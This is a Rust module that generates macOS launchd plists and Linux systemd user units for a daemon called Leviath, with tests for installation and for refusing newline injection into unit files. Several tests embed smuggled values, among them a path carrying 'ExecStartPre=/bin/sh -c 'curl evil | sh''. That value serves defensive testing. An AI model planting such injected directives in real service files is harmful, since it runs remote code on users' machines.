1use std::path::{Path, PathBuf};
18
19use anyhow::{Context, Result};
20
21pub const SERVICE_LABEL: &str = "dev.leviath.daemon";
23
24#[cfg(target_os = "macos")]
29pub const LEGACY_SERVICE_LABELS: &[&str] = &["ai.sunforge.leviath"];
30
31#[cfg(target_os = "macos")]
35pub fn legacy_cleanup(config_home: &Path, uid: u32) -> Vec<(PathBuf, (String, Vec<String>))> {
36 LEGACY_SERVICE_LABELS
37 .iter()
38 .map(|label| {
39 (
40 config_home.join(format!("{label}.plist")),
41 (
42 "launchctl".to_string(),
43 vec!["bootout".to_string(), format!("gui/{uid}/{label}")],
44 ),
45 )
46 })
47 .collect()
48}
49
50#[cfg(any(target_os = "macos", target_os = "linux"))]
53const LOG_FILE: &str = "daemon.log";
54
55#[derive(Debug, Clone, PartialEq, Eq)]
57pub struct ServiceUnit {
58 pub path: PathBuf,
60 pub contents: String,
62 pub activate: (String, Vec<String>),
64 pub deactivate: (String, Vec<String>),
66}
67
68#[cfg(target_os = "macos")]
78pub fn service_unit(exe: &Path, home: &Path, config_home: &Path, uid: u32) -> Result<ServiceUnit> {
79 let path = config_home.join(format!("{SERVICE_LABEL}.plist"));
80 Ok(ServiceUnit {
81 contents: launchd_plist(exe, home, &home.join(LOG_FILE)),
82 activate: (
83 "launchctl".to_string(),
84 vec![
85 "bootstrap".to_string(),
86 format!("gui/{uid}"),
87 display(&path),
88 ],
89 ),
90 deactivate: (
91 "launchctl".to_string(),
92 vec!["bootout".to_string(), format!("gui/{uid}/{SERVICE_LABEL}")],
93 ),
94 path,
95 })
96}
97
98#[cfg(target_os = "macos")]
100pub fn config_home(user_home: &Path) -> Result<PathBuf> {
101 Ok(user_home.join("Library").join("LaunchAgents"))
102}
103
104#[cfg(target_os = "macos")]
107fn launchd_plist(exe: &Path, home: &Path, log: &Path) -> String {
108 format!(
109 r#"<?xml version="1.0" encoding="UTF-8"?>
110<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
111<plist version="1.0">
112<dict>
113 <key>Label</key>
114 <string>{label}</string>
115 <key>ProgramArguments</key>
116 <array>
117 <string>{exe}</string>
118 <string>daemon</string>
119 </array>
120 <key>EnvironmentVariables</key>
121 <dict>
122 <key>LEVIATH_HOME</key>
123 <string>{home}</string>
124 </dict>
125 <key>RunAtLoad</key>
126 <true/>
127 <key>KeepAlive</key>
128 <true/>
129 <key>ThrottleInterval</key>
130 <integer>10</integer>
131 <key>StandardOutPath</key>
132 <string>{log}</string>
133 <key>StandardErrorPath</key>
134 <string>{log}</string>
135</dict>
136</plist>
137"#,
138 label = SERVICE_LABEL,
139 exe = xml_escape(&display(exe)),
140 home = xml_escape(&display(home)),
141 log = xml_escape(&display(log)),
142 )
143}
144
145#[cfg(target_os = "macos")]
147fn xml_escape(s: &str) -> String {
148 let mut out = String::with_capacity(s.len());
149 for c in s.chars() {
150 match c {
151 '&' => out.push_str("&"),
152 '<' => out.push_str("<"),
153 '>' => out.push_str(">"),
154 '"' => out.push_str("""),
155 '\'' => out.push_str("'"),
156 _ => out.push(c),
157 }
158 }
159 out
160}
161
162#[cfg(target_os = "linux")]
168pub fn service_unit(exe: &Path, home: &Path, config_home: &Path, _uid: u32) -> Result<ServiceUnit> {
169 Ok(ServiceUnit {
170 path: config_home.join("leviath.service"),
171 contents: systemd_unit(exe, home, &home.join(LOG_FILE))?,
172 activate: (
173 "systemctl".to_string(),
174 vec![
175 "--user".to_string(),
176 "enable".to_string(),
177 "--now".to_string(),
178 "leviath.service".to_string(),
179 ],
180 ),
181 deactivate: (
182 "systemctl".to_string(),
183 vec![
184 "--user".to_string(),
185 "disable".to_string(),
186 "--now".to_string(),
187 "leviath.service".to_string(),
188 ],
189 ),
190 })
191}
192
193#[cfg(target_os = "linux")]
195pub fn config_home(user_home: &Path) -> Result<PathBuf> {
196 Ok(user_home.join(".config").join("systemd").join("user"))
197}
198
199pub fn unit_safe(label: &str, value: &Path) -> Result<String> {
221 let s = display(value);
222 if s.contains('\n') || s.contains('\r') {
223 anyhow::bail!(
224 "refusing to write a systemd unit: the {label} path contains a newline, \
225 which would inject additional unit directives"
226 );
227 }
228 Ok(s)
229}
230
231pub fn systemd_unit(exe: &Path, home: &Path, log: &Path) -> Result<String> {
236 let exe = unit_safe("executable", exe)?;
237 let home = unit_safe("LEVIATH_HOME", home)?;
238 let log = unit_safe("log", log)?;
239 Ok(format!(
240 "[Unit]\n\
241 Description=Leviath shared-world agent daemon\n\
242 After=network-online.target\n\
243 \n\
244 [Service]\n\
245 Type=simple\n\
246 ExecStart={exe} daemon\n\
247 Environment=LEVIATH_HOME={home}\n\
248 Restart=always\n\
249 RestartSec=10\n\
250 StandardOutput=append:{log}\n\
251 StandardError=append:{log}\n\
252 \n\
253 [Install]\n\
254 WantedBy=default.target\n",
255 ))
256}
257
258#[cfg(not(any(target_os = "macos", target_os = "linux")))]
262const UNSUPPORTED: &str = "`lev daemon install` supports macOS (launchd) and Linux (systemd user \
263 units); on this platform, start `lev daemon` from your own login script";
264
265#[cfg(not(any(target_os = "macos", target_os = "linux")))]
267pub fn service_unit(
268 _exe: &Path,
269 _home: &Path,
270 _config_home: &Path,
271 _uid: u32,
272) -> Result<ServiceUnit> {
273 anyhow::bail!(UNSUPPORTED)
274}
275
276#[cfg(not(any(target_os = "macos", target_os = "linux")))]
278pub fn config_home(_user_home: &Path) -> Result<PathBuf> {
279 anyhow::bail!(UNSUPPORTED)
280}
281
282pub fn install(unit: &ServiceUnit) -> Result<&Path> {
286 if let Some(parent) = unit.path.parent() {
287 std::fs::create_dir_all(parent)
288 .with_context(|| format!("creating {}", parent.display()))?;
289 }
290 std::fs::write(&unit.path, &unit.contents)
291 .with_context(|| format!("writing {}", unit.path.display()))?;
292 Ok(&unit.path)
293}
294
295pub fn uninstall(unit: &ServiceUnit) -> Result<bool> {
297 match std::fs::remove_file(&unit.path) {
298 Ok(()) => Ok(true),
299 Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(false),
300 Err(e) => Err(e).with_context(|| format!("removing {}", unit.path.display())),
301 }
302}
303
304pub fn format_supervision(installed: bool, path: &Path) -> String {
306 if installed {
307 format!("supervised: yes ({})", path.display())
308 } else {
309 "supervised: no (`lev daemon install` restarts it automatically)".to_string()
310 }
311}
312
313fn display(path: &Path) -> String {
321 path.to_string_lossy().into_owned()
322}
323
324#[cfg(test)]
325mod tests {
326 use super::*;
327
328 fn bare_unit(path: PathBuf) -> ServiceUnit {
331 ServiceUnit {
332 path,
333 contents: "unit body\n".to_string(),
334 activate: ("sup".to_string(), vec!["on".to_string()]),
335 deactivate: ("sup".to_string(), vec!["off".to_string()]),
336 }
337 }
338
339 #[test]
340 fn install_writes_then_uninstall_removes_exactly_once() {
341 let dir = tempfile::tempdir().unwrap();
342 let unit = bare_unit(dir.path().join("nested").join("leviath.unit"));
343
344 let written = install(&unit).unwrap().to_path_buf();
345 assert_eq!(std::fs::read_to_string(&written).unwrap(), unit.contents);
346 assert!(uninstall(&unit).unwrap(), "first removal reports a removal");
347 assert!(
348 !uninstall(&unit).unwrap(),
349 "second is a no-op, not an error"
350 );
351 }
352
353 #[test]
354 fn install_and_uninstall_surface_io_errors() {
355 let dir = tempfile::tempdir().unwrap();
356 let blocker = dir.path().join("blocker");
358 std::fs::write(&blocker, "x").unwrap();
359 assert!(install(&bare_unit(blocker.join("child").join("unit"))).is_err());
360
361 let occupied = dir.path().join("occupied");
364 std::fs::create_dir(&occupied).unwrap();
365 assert!(install(&bare_unit(occupied.clone())).is_err());
366
367 assert!(uninstall(&bare_unit(occupied)).is_err());
370
371 assert!(install(&bare_unit(PathBuf::new())).is_err());
374 }
375
376 #[test]
377 fn supervision_status_reads_both_ways() {
378 let path = Path::new("/home/u/unit");
379 assert!(format_supervision(true, path).contains("yes"));
380 assert!(format_supervision(true, path).contains("/home/u/unit"));
381 assert!(format_supervision(false, path).contains("no"));
382 }
383
384 #[cfg(any(target_os = "macos", target_os = "linux"))]
387 mod supported {
388 use super::*;
389
390 fn unit() -> ServiceUnit {
391 service_unit(
392 Path::new("/usr/local/bin/lev"),
393 Path::new("/home/u/.leviath"),
394 Path::new("/tmp/lev-units"),
395 501,
396 )
397 .expect("this platform has a supervisor")
398 }
399
400 #[test]
401 fn the_unit_restarts_the_daemon_and_points_it_at_the_leviath_home() {
402 let u = unit();
403 assert!(u.contents.contains("/usr/local/bin/lev"));
404 assert!(u.contents.contains("/home/u/.leviath"));
405 assert!(u.contents.contains(LOG_FILE));
406 assert_eq!(u.activate.0, u.deactivate.0);
408 assert!(!u.activate.1.is_empty() && !u.deactivate.1.is_empty());
409 assert!(u.path.starts_with("/tmp/lev-units"));
410 let home = config_home(Path::new("/home/u")).expect("this platform has a supervisor");
412 assert!(home.starts_with("/home/u"));
413 }
414 }
415
416 #[cfg(target_os = "macos")]
417 mod macos {
418 use super::*;
419
420 #[test]
421 fn paths_with_xml_metacharacters_are_escaped() {
422 assert_eq!(
423 xml_escape("a&b<c>d\"e'f"),
424 "a&b<c>d"e'f"
425 );
426 assert_eq!(xml_escape("plain/path"), "plain/path");
427 }
428
429 #[test]
430 fn it_is_a_launchd_plist_bootstrapped_into_the_gui_domain() {
431 let u = service_unit(
432 Path::new("/usr/local/bin/lev"),
433 Path::new("/home/u/.leviath"),
434 Path::new("/tmp/lev-units"),
435 501,
436 )
437 .unwrap();
438 assert_eq!(
439 u.path.file_name().unwrap().to_string_lossy(),
440 format!("{SERVICE_LABEL}.plist")
441 );
442 assert_eq!(u.activate.1[0], "bootstrap");
443 assert_eq!(u.activate.1[1], "gui/501");
444 assert_eq!(u.deactivate.1[1], format!("gui/501/{SERVICE_LABEL}"));
445 assert!(u.contents.contains("<key>KeepAlive</key>"));
447 assert!(u.contents.contains("<key>RunAtLoad</key>"));
448 assert!(
449 config_home(Path::new("/home/u"))
450 .unwrap()
451 .ends_with("LaunchAgents")
452 );
453 }
454
455 #[test]
456 fn legacy_cleanup_covers_every_old_label_with_a_bootout_and_a_plist() {
457 let actions = legacy_cleanup(Path::new("/tmp/lev-units"), 501);
458 assert_eq!(actions.len(), LEGACY_SERVICE_LABELS.len());
459 let (path, (cmd, args)) = &actions[0];
460 assert_eq!(
461 path.file_name().unwrap().to_string_lossy(),
462 "ai.sunforge.leviath.plist"
463 );
464 assert_eq!(cmd, "launchctl");
465 assert_eq!(args[0], "bootout");
466 assert_eq!(args[1], "gui/501/ai.sunforge.leviath");
467 assert!(!LEGACY_SERVICE_LABELS.contains(&SERVICE_LABEL));
470 }
471 }
472
473 #[cfg(target_os = "linux")]
474 mod linux {
475 use super::*;
476
477 #[test]
478 fn it_is_a_systemd_user_unit_enabled_for_the_calling_user() {
479 let u = service_unit(
480 Path::new("/usr/local/bin/lev"),
481 Path::new("/home/u/.leviath"),
482 Path::new("/tmp/lev-units"),
483 501,
484 )
485 .unwrap();
486 assert_eq!(u.path.file_name().unwrap(), "leviath.service");
487 assert_eq!(
488 u.activate.1,
489 ["--user", "enable", "--now", "leviath.service"]
490 );
491 assert_eq!(
492 u.deactivate.1,
493 ["--user", "disable", "--now", "leviath.service"]
494 );
495 assert!(u.contents.contains("Restart=always"));
497 assert!(u.contents.contains("WantedBy=default.target"));
498 assert!(config_home(Path::new("/home/u")).unwrap().ends_with("user"));
499 }
500
501 #[test]
509 fn a_newline_in_leviath_home_is_refused_at_the_call_site() {
510 let err = service_unit(
511 Path::new("/usr/local/bin/lev"),
512 Path::new("/tmp/x\nExecStartPre=/bin/sh -c 'curl evil | sh'"),
513 Path::new("/tmp/lev-units"),
514 501,
515 )
516 .expect_err("a newline in the home path must not reach the unit file");
517 assert!(err.to_string().contains("LEVIATH_HOME"), "{err}");
518 }
519 }
520
521 mod systemd_unit_file {
524 use super::*;
525
526 #[test]
527 fn display_renders_a_path_losslessly_when_it_can() {
528 assert_eq!(display(Path::new("/a/b")), "/a/b");
529 }
530
531 #[test]
532 fn it_renders_the_expected_directives() {
533 let unit = systemd_unit(
534 Path::new("/usr/local/bin/lev"),
535 Path::new("/home/u/.leviath"),
536 Path::new("/home/u/.leviath/daemon.log"),
537 )
538 .unwrap();
539 assert!(unit.contains("ExecStart=/usr/local/bin/lev daemon"));
540 assert!(unit.contains("Environment=LEVIATH_HOME=/home/u/.leviath"));
541 assert!(unit.contains("Restart=always"));
542 }
543
544 #[test]
551 fn a_newline_in_an_interpolated_path_is_refused() {
552 let evil = Path::new("/home/u/.leviath\nExecStartPre=/bin/sh -c 'curl evil | sh'");
553 let err = systemd_unit(
554 Path::new("/usr/local/bin/lev"),
555 evil,
556 Path::new("/home/u/.leviath/daemon.log"),
557 )
558 .expect_err("a newline in LEVIATH_HOME must be refused");
559 assert!(err.to_string().contains("newline"), "got: {err}");
560 assert!(err.to_string().contains("LEVIATH_HOME"), "got: {err}");
561 }
562
563 #[test]
565 fn every_interpolated_path_is_checked() {
566 let evil = Path::new("/x\nExecStartPre=/bin/false");
567 let good = Path::new("/home/u/.leviath");
568 assert!(systemd_unit(evil, good, good).is_err(), "executable");
569 assert!(systemd_unit(good, evil, good).is_err(), "home");
570 assert!(systemd_unit(good, good, evil).is_err(), "log");
571 }
572
573 #[test]
575 fn a_carriage_return_is_refused_too() {
576 assert!(
577 systemd_unit(
578 Path::new("/usr/local/bin/lev"),
579 Path::new("/home/u/.leviath\rExecStartPre=/bin/false"),
580 Path::new("/home/u/.leviath/daemon.log"),
581 )
582 .is_err()
583 );
584 }
585 }
586
587 #[cfg(not(any(target_os = "macos", target_os = "linux")))]
590 mod unsupported {
591 use super::*;
592
593 #[test]
594 fn install_is_refused_with_an_actionable_message() {
595 let err = service_unit(
596 Path::new("lev.exe"),
597 Path::new("home"),
598 Path::new("units"),
599 0,
600 )
601 .unwrap_err()
602 .to_string();
603 assert!(err.contains("macOS"), "got: {err}");
604 assert!(err.contains("lev daemon"), "got: {err}");
605 assert!(config_home(Path::new("home")).is_err());
606 }
607 }
608}